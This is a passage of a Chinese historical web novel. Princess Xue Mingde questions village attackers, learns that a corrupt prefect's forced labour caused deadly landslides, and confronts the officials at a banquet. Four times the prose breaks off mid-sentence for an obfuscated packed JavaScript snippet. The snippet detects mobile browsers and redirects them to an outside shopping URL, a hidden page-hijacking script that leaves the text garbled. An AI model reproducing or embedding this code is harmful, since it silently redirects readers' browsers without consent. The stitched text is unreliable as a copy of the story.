浓烟随着火势蔓延，薛明德几人借力从二楼跃下，村汉们举着锄头镰刀，不等他们站稳就冲了上来。 “姑娘！” 眼看着身上已沾了火星的黑壮汉子全然不顾招呼到自己身上的刀剑，只一昧往郡主殿下的方向扑，观棋急得也要扑上前。 一把弯刀从旁划过，斜斜的格开黑壮汉子手上的镰刀，与此同时薛明德飞起一脚，踢在了黑壮汉子的胸口，将他逼退了几步。 火光缭绕映得客堂半明半暗，薛明德转而看向身边人，却见弯刀的主人竟是个年轻女子，穿着夜行衣，一双明眸弯弯，眼里闪过惊讶与赞赏，仿佛在夸赞她的武艺竟也不差。 薛明德在心里哼了一声，看着观棋赶到了黑壮汉子身旁，手上施展了擒拿手的功夫，几下就将他反手剪着半跪在了地上。 混乱的大堂里不知是谁高喊了一声“跑啊”，村汉们见领头的被擒下了，更是不敢恋战，连叫骂声都歇了，一股脑儿往外边跑。 “抓住那个麻脸的。”薛明德说道。这许多人一时也抓不完，但首恶的几个是要先拿住的。 许孟然离得近，抬脚踹开个碍事的，人群里将那麻脸汉子一把薅过来，见他挣扎，还往他脑袋上敲了好几下。 村汉们都是泥腿子，争先恐后出得客栈，散在夜色里很快不见了踪迹。只是这一夜打斗，天都快亮了。 整个客栈给打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032384|193566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得乱七八糟，大堂里除了砸坏掉的板凳桌脚，还有不少锅碗瓢盆。 亲卫们燃起了火把插在了房柱上，麻脸汉子被扭着扔在黑壮汉子旁边，由于一直不停的破口大骂，被个王府亲卫用抹布塞住了嘴巴。 木楼上的火势已经被扑灭了，空气里弥漫着木材和布帛烧焦的气味，尘烟也慢慢散了开去，地上还残留着血迹斑驳。 穿着夜行衣的年轻女子站在大堂一侧，她的随从陆续从外头进来，好几个人的背上都背了弓箭，显然有备而来。 此时的堂下燃起了灯光，被麻绳缚住的麻脸汉子一眼看到手持着弯刀的黑衣女子，神情明显的一愣，续而神情扭动，五官乱飞，虽然只听得到“呜呜呜”的声音，但大约……是骂得更脏了。 黑衣女子咳了一声，说道：“这里事情已了，我们就先走了。”说着向薛明德略一抱拳。 语气清醇，容貌宕丽，行动间倒像是江湖上的习性。 只是这乡野小镇怎会有这般的奇女子？ 薛明德站在方桌旁不经意的打量，一边提起侍卫刚递来的茶壶倒了两杯茶。 “天还没亮，姑娘不妨喝杯茶再走。” 黑衣女子本已往大门走了，听到她话中语气，缓缓转回身来，目光中再次浮出诧异：“你在强留我？” 薛明德嘴角微勾，笑得有几分邪气。 黑衣女子也给她气笑了，“我方才还救了你，你就是这么对你的救命恩人？何况，”她用下巴示意了下跟着她来的人，“你觉得你留得住我吗？” 薛明德没回答她的话，却用手指了指墙角还在“呜呜”哼唧的麻脸汉子，“我没猜错的话，他们要劫的人，是你吧？” 黑衣女子面色微顿，薛明德看在眼里，又道：“只是这客栈里传话的人多半没见过你，看我一个女子，也带了护卫，就错当成了你，给这群村汉报了信。” 她走到她的面前，俏丽的脸蛋凑近那张夜色也难掩妩媚的脸，声音放轻如耳语，语气却是淡淡的调侃：“你说你救了我，这位姑娘，我是来为你挡箭的羔羊么？” 黑衣女子面上不掩尴尬，灯烛的暖光映着她的脸蛋微微发烫。她定了定神，冷静的说道：“可我也可以置之不理，任由他们杀了你！而我还是救了你。” “说明你的心地还算不错。没有事不关己将错就错。”薛明德点着头，“是以我也没有让人绑着你。” “你还想绑着我？？”黑衣女子好气又好笑，明亮的眼睛难以置信的睁大。她在心中恨恨的想，早知道方才就不救你了！让你受那皮肉之苦，看你还敢口出狂言！ 说话间门口闪进来一个青年。 青年看了看眼前形势，再站到黑衣女子身边，“大小姐，外头来了一队人马，”他一面说着一面小心瞄了薛明德一眼，“人数比我们的多，全都……骑着马。” 薛明德的笑意更张扬了些，像只狡黠的猫，她挑眉盯着黑衣女子，曼声说道：“如何？我留得住你了吗？” 12.最后一句 十二章最后一句 马蹄踏在泥地里，响声并不热切，但在场的也没几个蠢人，彼此都知道形势已悄然逆转了。 黑衣女子甚至怀疑薛明德倒的那两杯茶说的这许多话，打一开始就是为了拖延时间，留住她！ 她咬了咬唇，忍住要瞪向薛明德的目光。 薛明德像是能猜出她所想，笑笑的开口：“别误会。我又不是那打家劫舍的恶人。”说着指了指墙角捆着的两个村汉，续道：“请说说他们为什么要劫你？我总要知道我今日这一劫从何而来吧。” 这倒不过分。 黑衣女子也往那村汉扫了一眼，摇头道：“我不知道他们为什么要劫我们。我们到岳北府是想做买卖的。路过这个镇子，给他们埋伏了。” 岳北府的治下竟乱到如此地步了吗？ 薛明德微微皱眉。 她让人押了黑壮汉子到堂前，直截了当的问：“你们和这姑娘有仇吗？不至于见一个劫一个吧？”主要是看你们也不像熟手啊。 黑衣女子也很疑惑，灯火的映衬中一双水眸写满了好奇。 薛明德看得一笑，悄悄垂了下眼睫。 不管怎么说，这总不是个坏人。 黑壮汉子两眼喷火，怒吼道：“还问什么？要杀要剐，有本事尽管来动你爷爷！” 许孟然一直守着这两个贼犯，听他叫嚣，兜头给拍了下脑袋。 这一巴掌没留情，黑壮汉子给他拍得身子一歪，张嘴又要骂。许孟然看着郡主殿下的脸色，默默拾起块抹布，塞巴塞巴堵上了他那张破嘴。 薛明德歪着脑袋看向一旁的麻脸汉子，问道：“你呢？也不说吗？” 麻脸汉子嘴上得了自由，先噼里啪啦骂了好几句脏话，眼见他身旁的亲卫又要拿抹布塞他嘴，他一般的昂了头：“要杀要剐，冲你爷爷来。” 呵。 薛明德抬了抬下巴，对那被咬着半只耳朵负了伤的王府亲卫言道：“你去，把他耳朵削下来。” 此话一出，麻脸汉子面上发怵，顿时就是恐惧之色。 负伤的亲卫本就一肚子气，得了郡主的命令，没等麻脸汉子开口求饶，手起刀落，割下一只新鲜的耳朵。 “嗷！！”麻脸汉子疼得往地上打滚，一边哀嚎一边想用手捂耳朵，无奈双手都给缚住了，脏污的地面又添了无数血点子。 薛明德面色平静，淡漠的问：“还要杀要剐吗？” 麻脸汉子疼得全身哆嗦，眼光不自觉的瞟向黑壮汉子，像是想不明白为什么同一句话，那汉子说了没事，自己却被割了只耳朵。 年轻的侍卫将佩刀搁在麻脸汉子的脖子上，阴恻恻的道：“我劝你好好说话。” 麻脸汉子只觉得脖子凉飕飕的，两腿一个劲的抖。 一旁站着几个高大的男人，缁衣马裤，皆是黑衣女子带来的随从。看着眼前一幕，这群男人心里总觉得怪异得很。 不是说见不得打打杀杀，他们也是做护卫的，谁手上不沾点血呢。 但一个明媚俏丽的年轻女子，谈笑风生间让人动手去割别人的耳朵，嘶，就跟说书里的玉面修罗似的。 黑衣女子倒是不惊不惧，甚至走到了麻脸汉子面前，半蹲下来，视线与他齐平，慢慢的问：“我和你们有仇吗？” 麻脸汉子半边脸面都是血，原本惊恐交加的眼神在看到黑衣女子的那一刻竟又起了恨意，他咬着牙，恶狠狠的盯着她道：“你去和狗官做生意，我们都看到了！你也不是什么好人，不过是狗官身边的一条狗！” “放肆！”随从怒不可遏，两步上前就要揍他。 黑衣女子摆了摆手，视线还是落在麻脸男子的脸上，沉默了片刻，才淡淡说道：“那天在雅间的店小二，是你们的人。难怪我们离开客栈当天就被围攻，原来如此。” 麻脸男子用鼻子哼了一声，没再答复。 黑衣女子缓缓起身，望向薛明德。 薛明德点头道：“我清楚了。各位可以离开了。” 此话说得不大礼貌，但黑衣女子的目光所思的凝了一瞬，旋即又放开，也点了点头，“就此别过。” 甚至都没说什么“后会有期”的客套话，她就带着她的随从们离开了。 离开客栈，天色已明亮，黑衣女子看着站在院子里外的侍卫，明白了为什么青年和她说话时特意提到他们都骑着马。 在这人都不一定能吃饱的时候，这一伙人却能个个人强马壮。 除了那位明显是主君的女孩气色微恙，其余人皆是精壮模样。无论什么样的人家，想要养出这么一支人马，都需要不少钱的。而他们却只是陪在一个小姑娘身边，其身份可想而知。 那女孩儿定是官家儿女，并且出身不低，虽做寻常百姓打扮，眉宇间却自有一股子养尊处优的贵气。她身边带的也不是随从，而是侍卫！ “大小姐。”名叫管鹤的青年走到她上边，面上仍有愤愤不平，“我们就这样走了吗？”前天被埋伏，他们可是损失了两个兄弟呢！ 天边流云初散，早晨清冷的风像流水般轻拂。沿途有昨夜雨水中落下的碎花，芳草不曾遮，而风雨也难掩其泽。 “自有人会替我们报仇的。” 黑衣女子说罢，扳按上马，低喝了一声“驾！”。骏马撒开四蹄，当先往来路上奔去。 客栈的大堂里，薛明德让人把麻脸汉子带到柴房去，单独留下了黑壮汉子。 一夜的打斗，众人难免有些倦怠，但除了几个受了伤的给安置到客房去休息了，余下的人一概守在郡主身边，对于郡主殿下连夜审问两个贼犯，没有一个人觉得有何不妥。 黑壮汉子给再次押到了堂前，不够平整的地面留下了诸多血迹，他倔强的站直身体，任凭两个侍卫摁着双肩，也不肯下跪。 薛明德道：“给他松绑。” 侍卫上前解开缚住他双臂及至手腕的布条，而观棋默默的往殿下身边又靠近了半步。 薛明德往侧旁瞥了一眼，观棋会意，提溜着椅子放到她身旁，薛明德坐到椅子上，毫无形象的抻着两条大长腿，有些懒怠的道：“别再说什么要杀要剐随意的话，你是必死无疑了。” 黑壮汉子仍是不说话，眼珠子盯着地面的斑驳的血，像是能盯出花来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036839|193566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薛明德又道：“但那些跟随你的人可以活下来，你不想他们活下来吗？” 黑壮汉子的眼睛这才动了动。 “不如让我猜一猜。你们劫杀方才那女子，是因为她要和官家做生意，但我宁州律例，官府不得与民争利，不得直接参与买卖。想来她只是要在这岳北府行商，和官家人打好招呼而已。而你们连这样都容不下，可见你们对本地官府是恨之入骨。”薛明德说到此，嗓音却缓慢下来，带着一点叹息和怜悯，“官府中人做了什么事，让这个镇子的人如此恨他们，可以告诉我吗？” 黑壮汉子的喉头滚动，半晌方沉着声压抑的道：“他害死了我爹娘，害死了我妹妹，他害了我们全家人的命！” 宁州与天下所有各州的惯例一样，是需要服劳役的。岳北府的官老爷姓徐，人称徐府尹。连着几个月的雨水将府城一处河堤冲榻了一个巨大缺口，好在发现得早，徐府尹当即下令，要征集几百个力夫修缮缺口。 河堤事关民生，确实等不得，功曹和户曹一番合计，立刻从下属三县各征了百来人赶来府城。 可这天跟漏了似的，滚珠一样的雨水天天下天天下，那缺口还没堵好又给冲开了。 力夫们每天跟如牛马一般在暴雨里干活，明明已经很卖力了，扛沙袋，运泥土，可时不时还要挨上监工两鞭子。 这天雨下得更大了，力夫里的老人说，雨下成这样，说不好是要地//动山//摇的。 地//动山//摇，就是山崩滚落石，要命的事。 当时在吃饭，大家听到这话，原本就粗糙的糙米如鲠在喉，让人饭都吃不下了。 “不行。我要回去跟我们村的人说，赶紧逃命。”一个年轻力夫将饭碗一搁，站了起来，但旋即又拾起了碗，三口两口扒完了饭。 附近又有两个年轻人跟着起身说道：“我们同去。” 黑壮汉子也在这一群力夫中，抬眼看见他们木溪镇的阿杨也在其中，便放下心来。 三个年轻人往监工的工棚走去了，没多久，垂头丧气的回来。 监工不许他们走。河堤缺口一直修不好，官老爷要来览省。 “你们走了谁干活，官老爷来了点名册，哦豁，少三个！是要让老子吃不了兜着走吗？我看你们是惯会偷懒！”监工劈头盖脸一顿骂，还给他们一人赏了好几下鞭子。 阿杨揉着手臂上挂着血珠的鞭伤，伤口火辣辣的疼。 “不管了，今晚收了工点了名册我就跑，我脚程快，趁夜赶回去跟我爹娘说一声，让他们知会村里的人，明儿个再赶回来。阿成哥，明早你跟监工工头说我吃坏肚子了起不来。成么？” 黑壮汉子说道：“成。但就是回咱村子有大半天路，这脚程，明天赶不回来怎么办。” 阿杨想了想，说道：“那也得回。我老娘腿脚不好，我得让我爹早点把她扶到镇上，避一避。” 黑壮汉子应下来：“行，你回去吧。替我跟我家里也说一声儿。” “放心吧哥。” 这句话，是姜成听到阿杨说的，最后一句话。 “放心吧哥。。。” 13.岳北府城 十三章岳北府城 阿杨没能跑出去。 他被打死了。 监工头子说，他是失足自己跌死的。可是姜成看到，他满身都是伤。 另外两个人，一个跑回去了，另一个也给抓了回来了，只是没打死。没死的那个说，阿杨被抓到的时候也只是被打一顿，毕竟监工不至于上来就要人命。可阿杨半夜又跑了，天黑雨大，监工们把他抓回来又是一顿好打，这回没撑住，人就没了。 徐府尹说，跑得了和尚跑不了庙。派人到村子里去把跑掉的抓回来就是。 逃避劳役，按律收监坐牢。 雨依旧哗哗的落，天色阴晦，无边无际，压得人心头沉甸甸的。 阿杨的事情没法追究，因为他确实跑了，还跑了两次。 姜成低头扛着沙包，闷闷的想起昨晚阿杨和他说话，这傻小子，还笑着让他放心呢。 “后来呢？” 薛明德问这句话的时候他们已经走出了客栈。 两队王府亲卫都到齐了，护着宣诚郡主往镇子边上走。 姜成在前头引路，亲卫们人强马壮，他也只抬头看了一眼。他们随时都能要了他的命。 可那又怎样呢。 后来，徐府尹没空管那个跑掉的力夫了。 因为两天后，木溪镇边上的姜家村，一夜之间被落石给埋了，附近几个村子，有挨着的，也有隔得远些的，无一不受波及。 薛明德站在村子的边缘，或者现在已经不能称之为村子了。 那只是一片被淤泥枯树和水泽覆盖的废墟。 纵横的田地还余着空落落的田埂，泥浆，石块，残败的枯枝落叶。大雨冲毁了作物，而滚石，又掩埋了痕迹。 田埂之外更是泥山泥水，混合着不知哪一户人家的断壁颓恒，白色的纸钱黑色的飞灰，扬得到处都是。 一个满头银白的老婆子，跪坐在田埂边，手边的纸钱不多，一片一片放进火堆里。 老婆子絮絮叨叨的说着什么，隔得远，听不清。 其实也没有听清的必要，不过都是些生离死别罢了。 那些泥山泥水，枯败的巨大腐木，都像是她的背景，茕茕孑立，也不知道还有没有亲人。 观棋看得鼻头一酸，侧过身抹了一把眼泪。 姜成和其他力夫再回到村子里，看到的便是如此景象。 叫他们如何能不恨呢。 他们去找徐府尹要说法，徐府尹说这是天灾，非人力所能及。他们听不懂，只知道徐府尹不让他们回来报信，现在人死了，徐府尹不认了。 他们想报仇。可惜啊，还没靠近呢，徐府尹说贫户聚众闹事，官府衙役将他们又打了一顿，抓了好几个扔进牢里。 “再闹事打死你们！”衙役指着姜成恶狠狠的骂。 真好笑。穷人的命都不是命了吗。 “所以你们就劫持过往商户，谋财害命。”薛明德话音淡淡的，听不出情绪，“还特意选个年轻女子动手，说得再冠冕堂皇，也就是欺软怕硬。” 姜成梗着脖子，大声说道：“是有钱人先不做人！” 薛明德指了指一旁的麻脸汉子，“他出的馊主意吧。” 姜成哼了一声，偏开了头。 再回到客栈，刚巧碰上个人，鬼鬼祟祟的在墙角探头，一见着他们一大伙人，赶紧转身要跑，被个亲卫一把揪住带到面前，嗯，昨晚上那个男店家。 薛明德让人把姜成和麻脸汉子关进柴房，将店家单独留下来问了几句，和姜成说的都对得上，便也把他一起关柴房了。 “姑娘，现在怎么办？我们要去岳北府衙办了那狗屁徐大人吗？”观棋义愤填膺，其余的人也跃跃欲试。 薛明德道：“不着急，先做饭。” “啊？” “我饿了。”薛明德无奈的道。 “哦哦哦。我们去我们去。”几个日常爱做饭的亲卫跳了起来，留着观棋随侍郡主，自己一溜烟跑出去了。 灶台的火早已熄灭了，大约雨水太重，半天没引上火，许孟然去柴房把店家拎了过来，店家一边骂骂咧咧一边给他们做饭。 帮忙择菜的亲卫年纪轻，嘴比脑子快，择着菜就说：“吃饱了饭我们就要去岳北府城了，给你们报仇去。” 店家一愣，眼圈立即红了。 背过身顿了一顿，抬脚往外走。 许孟然道：“你干什么去？！” 店家声音哽咽：“地窖里还存着腊肉，寻出来给你们做菜吃。” 木溪镇离岳北府府城并不很远，众人都有马，原本应当一两个时辰就能到的。可泥泞的道路没过马蹄，愣是走到天黑，才堪堪到了城门。 观棋想起刚到木溪镇时，店家阿芙说的话， “往木溪镇的路也封了，岳北府的也封了。” “谁封的？” “大雨啊，大雨把路封死了。” 却原来，是这个意思。 到得城门口，城门卫举着马灯勘验身份，才知是宣诚郡主驾临，吓得话都说不利索了，一面请他们进城，一面赶紧派人去告知府尹大人。 进了城，刚到行辕呢，徐府尹收到城门卫稍来的口信几乎连滚带爬的赶来拜望。 薛明德已进了后宅，派了许孟然出来，只说路上风寒，要暂歇几日。三日后郡主殿下在行辕设宴，请徐府尹知会各处官员。 此时天色都黑透了，确实不适合拜会。郡主殿下又是金枝玉叶，哪堪旅途劳顿呢。 徐府尹这般想着，在照壁前说了几句场面话，心安理得的回去了。 第二天知会各处，上峰派了“钦差大人”过来，大家伙们都懂事些，要守规矩。 属官们纷纷答“是”，一时间整个岳北府的街面都整齐了不少，连荒年里的乞丐都“消失”了。 相安无事的过了几天。 三日后，宣诚郡主果然在行辕处设宴，岳北府的官员们都穿上最体面的一身官服，高高兴兴的来赴宴了。 行辕的前厅十分宽敞气派，一行一行的食案依次摆放，属官们按着官职高低找位置，各自都站得不远不近，低声交谈着，偶尔心照不宣的往后宅的方向看。 沙漏走了一刻又一刻，大家的肚子都开始唱空城计的时候，郡主殿下终于来了。 官员们不敢有气，还得齐齐行礼。 郡主坐在上位，摆手道：“都入座吧。”尔后侧目问道：“怎么还不给大人们摆饭？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040874|193566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “是。”一旁侍女回答。 徐府尹的肚子很合时宜的“咕叽”了一声，他有些尴尬，觑眼瞧着应当没人发现。 这次倒没等太久，进来的几个仆人捧着食盘，往他们桌子上各摆了一碗饭。 是的，真的是摆饭，并且只有饭。 徐府尹瞪着眼睛瞧，这饭为什么不是白色的？颜色泛黄？等等，这不会还夹着没脱尽的砻糠吧？ 官员们面面相觑。 岳北府哪里得罪了殿下，要到这儿来给他们下马威？ “大人们，起筷吧。”薛明德微微一笑。 官员们都抬起头来看她。只见殿下的食案上摆着的，也是这么一碗颜色斑驳的饭。 官员们都是一愣，眼睁睁的看着殿下举起了筷箸，夹了一筷子饭，放进嘴里，慢慢的吃下去了。 “怎么了？吃不惯吗？”薛明德放下碗筷，依然笑望着大家，而那说出来的话，就像冷刀子一样，架在了官员们的脖子上，“可我自进岳北府境内，已吃了好几天这样的糙米饭了。还得是有存粮的人家才勉强能供上这么一顿。大人们，你们家里的饭桌摆的是什么呢？” “下官无能。。。”这下子听出来了，真是来兴师问罪的。官员们纷纷离席，整齐的躬身下拜。 就跟排演过似的。 呵。 郡主殿下没发话，一群官员就跟被大雨打了的细竹子似的，只能弯着。 徐府尹这几年发了福，第一个受不了了，往侧后方的庆大人努了努嘴。 庆大人是岳北府仓曹，这会儿说话刚好。 他收到指示，把腰又弯了弯，说道：“殿下，我等无能，不能使境内百姓皆得温饱。但这实在是天灾，岳北府地偏且穷，我等实在是巧妇难为无米之炊……” “无米之炊？”薛明德靠在椅背上，随意的问：“庆大人家里的米仓是空了吗？” 庆仓曹语塞。 薛明德修长的手指在环椅的扶手上轻敲两下，发出“笃笃”的声音，曼声言道：“许孟然，你来说。” 侍立在侧的许孟然为着这一刻已等了好一会啦。他两步走到主位阶下，在袖袋摸出一张纸，念到：“查实，庆家米仓存有新米若干石，陈米若干石，粟若干石，粮食已堆满粮仓，城中货仓也有他家许多米粮。另有两个地窖囤着风干的腊肉、腊鱼、腊鸭、菜干、笋干等物。”说罢他悄悄冲脸色苍白的庆仓曹挤了挤眼睛，转回面对着郡主殿下时已正经了脸色，恭敬行礼。 庆仓曹第一次体会了什么叫“汗如雨下”，可怜这深秋入冬的季节，只这一会儿，他后背都湿透了。 “下官。。下官。。。”庆仓曹腿一软，跪在了地上。 “怎么吓成这样。你该不会往治下伸手了吧？”薛明德单手托腮，望着渐渐弯腰弯到发抖的官员们，“各位大人都请起吧。” 呼。。。 人人长出一口气。唯有庆仓曹的额头还是冷汗淋漓。 “我宁州八府，每一府皆设有常平仓和义仓。暴雨连月，耕地欠收，即便没有开仓赈济，至少也该想到平抑物价吧。”薛明德轻蔑一笑，声色嘲讽：“还是说诸位大人就该朱门酒肉臭，而百姓，就活该路有冻死骨呢。” 14.贵人您瞧 十四章贵人您瞧 朱门酒肉臭，路有冻死骨。 这话放在地方上，简直就是指着鼻子骂。 可官员们没一个敢还嘴的。 还嘴要说什么？家里没粮仓？还是粮仓里没粮食？ 郡主在岳北府呆了三天了，指不定她手里还查到点什么呢。 一众官员人人自危。 唯有席位最末的一个小芝麻官张了张嘴。 薛明德眼力很好，隔得老远还是看见了。她眯了下眼睛，问道：“那位是谁？”官职太低，不怪她从前没留意过。 众人都回头去看。 一个四十来岁的七品小官，面红耳赤的站了出来，躬身说道：“下官岳北府仓曹属，裘正。” 这是庆仓曹的下属。庆仓曹一愣，喝道：“你做什么！” 裘正一哆嗦，差点又缩回原位去。 四十来岁，还是个七品，大约这一辈子都只能这样了。 薛明德看着这个官服陈旧，眉眼苦涩的小官，淡问道：“裘大人似有话说？” 裘正下意识的去看他的上官。 薛明德道：“你觉得庆大人还能留在这个位置上吗？” 庆仓曹腿一软，萎靡在地，“殿……殿下。” 裘正深吸一口气，手里握了个拳给自己鼓劲，上前一步说道：“殿下，岳北府近来粮价飞涨，百姓物议纷纷，下官曾向庆大人建议开启‘官定平价’，以官价制约粮价。但……”他咽了下唾沫，忍着没去看庆仓曹的脸色，续道：“但庆大人说官定平价需开仓放粮流入集市才能有效果，否则商户看着粮价过低存着不卖，你奈他何？” “所以岳北府的粮仓是没有存粮的吗？”薛明德的神色严肃起来，懒得去看那群官员，直接用眼神问许孟然。 许孟然这几天带着人查了粮仓货栈，不说十成十，至少心中是有大致数目的。他拱手道：“岳北府仓是有存粮的，空仓也有，陈米换新米是他们惯用的手段。但还是有七八成对得上的。” 哦。贪了，但贪得还有数。 薛明德放下心来，单手又托住了腮，“说下去。” “庆大人之所以不同意开仓放粮，说是因为郡主殿下之故。” 裘正说到这，声音都低了，薛明德差点没听清。 “因我之故？”薛明德略歪了脑袋，看着庆仓曹。 她这模样委实可爱，可岳北府的官员们一个个都恨不得把自己缩成个球，谁都不敢多看一眼。 庆仓曹知道自己官运是到头了，溺水寻浮木，立即趴在地上哭：“殿下明鉴，是徐府尹，他说您在巡视各府，要求各府足额纳粮，粮食要留着纳税的，不许我们开仓。殿下！殿下明鉴啊！！” 徐府尹心里恨不得把庆仓曹拖出去凌迟！他走前一步，用袖口抹着汗辩白：“殿下，庆大人是在推脱！下官从没说过这样的话，下官治下，从来都以百姓为先。庆大人，他是欲加之罪，何患无辞！” “从来都以百姓为先？”薛明德在环椅中坐正，冷肃的望着他：“木溪镇的人怎么死的？” 徐府尹一怔，答道：“此乃天灾。殿下，山石滚落，非寻常人可抗拒，下官也曾派人救助，无奈泥水深潭，难于登天。下官立即安排了信使快马加鞭送了文书到州城，想来跑得急，路上没能遇着殿下。” 是的，他都按部就班的做了，这是天灾啊，谁能指责他。 薛明德心中腾起怒火，脸色渐渐沉了下来，一屋子的人都静默，落针可闻。 “天灾。难于登天。还立即安排了信使。”薛明德不带情绪的重复了他这几句话，忽然抓起手边茶盏，猛的掷了过去，“我给你脸了是吗！” 徐府尹给兜头砸了一盏茶水，额头“哐”的一下给砸破了，血丝混合着一脸的残茶犹如一个响亮的耳光，当众打在他的脸上，他忍无可忍，咬牙道：“殿下！！” “来人！把那蠢货押上来！”薛明德打断了他的话。 门外很快进来两个亲卫，一左一右押着个干瘦的男子，穿着绿色绸衣哆哆嗦嗦的抖，两条腿软得跟面条似的，全靠王府亲卫拖着他才跨过了前厅门槛。 “姐夫！姐夫救我！姐夫！！”一见到徐府尹，干瘦男子就像恢复了力气，手脚并用的爬到徐府尹身边。 “原来是徐府尹的内弟。家中几品几级？能在岳北府穿绸？” 干瘦男子方富贵狗仗人势惯了，加之大半夜在赌场给薅了来一直捆在柴房，还以为自己欠的哪一路赌债，现今见着了靠山，立马重新抖起来，“老子告诉你，老子家里是……” “闭嘴！” 不等王府亲卫动手，徐府尹一骨碌爬起来抬手就是个耳光，扇得方富贵重又爬在地上，一嘴巴的血沫子。 “姐……姐夫……” “闭嘴闭嘴闭嘴！”都到这份上了，徐府尹哪里还想不到，郡主这是查到他的老巢了，但这只是私德不修，他还想再搏一搏，万一呢？他飞快的冷静下来，“殿下，这蠢材唐突了郡主，合该重罚，下官家事不敏，请殿下责罚。” 方富贵的腿又抖了起来。姐夫叫她什么？殿，殿下？殿下是什么意思？？ “这蠢货谁抓回来的？”薛明德皱起眉头。 姓徐的到这时候还想着就轻避重，她有些不耐烦了。 “回禀郡主，是卑职去办的。”王府亲卫队正李牧山从旁过来，对郡主殿下行了一礼。 看郡主扬了下下巴，李牧山会意的开口，并且言简意赅：“宁州对各府皆有要求亦有约束，如这般连月暴雨，各地府衙相关官员必须安排力夫往四处巡查，以避重灾。” 岳北府当然也有明目当做此事，但统管这一片力夫的监工头子，是方富贵。 李牧山承上了名单账册，方富贵签了十余人出去，明目是水患巡查。实则全给拉去了一处岳北府城北的一座二进院落，赶着把院落翻修整齐。 徐府尹的外室有身孕了，但没过门，再过几个月肚子藏不住了怎么办。找稳婆看过都说这一胎是儿子。 他买了一处外宅，给外室一家子住，再采买了几个丫头婆子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17047964|193566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，并两个看门的苍头，也算一户人家了。 外室姓方，不好直接叫方姨娘，于是都叫方娘子。这监工头子方富贵，就是方娘子的弟弟。 “是以这木溪镇几个村子几百条人命，都给你填进这外宅了是吧？”薛明德怒极反笑，“徐府尹，你这外宅，这位方娘子可真矜贵啊。” 李牧山听到这话，努了努嘴皮子。 薛明德皱眉道：“还有什么？” 李牧山拱手回道：“方娘子这事只怕还有内情。她想求卑职给她一个和贵人说话的机会，她……为这事头都磕破了。” 薛明德还没说话，满额冷汗的徐府尹立即语无伦次的嚎道：“她一个妇道人家懂什么说话！郡主，郡主殿下，您看她身怀六甲，我，我让人送她回去。” 他越说声音越结巴，因为郡主看着他的眼神太可怕了。他低着头，想抹一把额头的汗，才发现手抖得厉害。 薛明德没管他，转而问李牧山：“人呢？” “就在堂下。” “领她过来。” 方娘子年约双十，是个秀气的女子，小腹已微微凸起，约莫三四个月的样子。 上得前来，还未行礼，薛明德已说道：“给她一把椅子。” 观棋称“是”。 方娘子谢了坐，却没真的坐下，而是慢慢跪了下来，给薛明德磕了个头，才道：“民女方小妹，是被徐府尹强买的，求贵人为民女做主。” 满堂官员都惊讶了。 不白来，真不白来！今儿个郡主殿下原来不是请吃饭，而是请看戏呢。一出接一出啊。 薛明德挑了挑眉。 再看徐府尹。徐府尹一张圆脸已经涨成猪肝色了。 方小妹的身世很简单，十五岁，她爹把她嫁给邻村一个病秧子冲喜，十六岁，孩子还没出生，孩子他爹没了。从前孩子爹待她还不错，她哭了天昏地暗硬熬着把孩子生了下来。 儿子大一些了，活泼好动，看着不是病恹恹的样子，她活着也有了盼头。 怎知去年孩子刚满四岁，能跑能跳不用时时守着抱着了，孩子的大伯就说她克死了丈夫，让公婆出一封休书，把她赶回了娘家。 她去哭去喊，可又有什么用呢，孩子留下，女人可以走了。 无处可去，她回了娘家，方父听得半耳朵抽起一根柴火就是一顿打，一面生怕她给家里丢脸一面怕那一家人问他们拿回聘礼。最后还是她//娘拼死拦着，说打坏了就不能干活了。方小妹能织布，能给一家子做饭，这才捡回来一条命。 过了半年，眼看那一户人家没有来索回聘礼的意思，方父又动了心思，想着怎样把女儿嫁出去，再收一注聘礼才好呢。 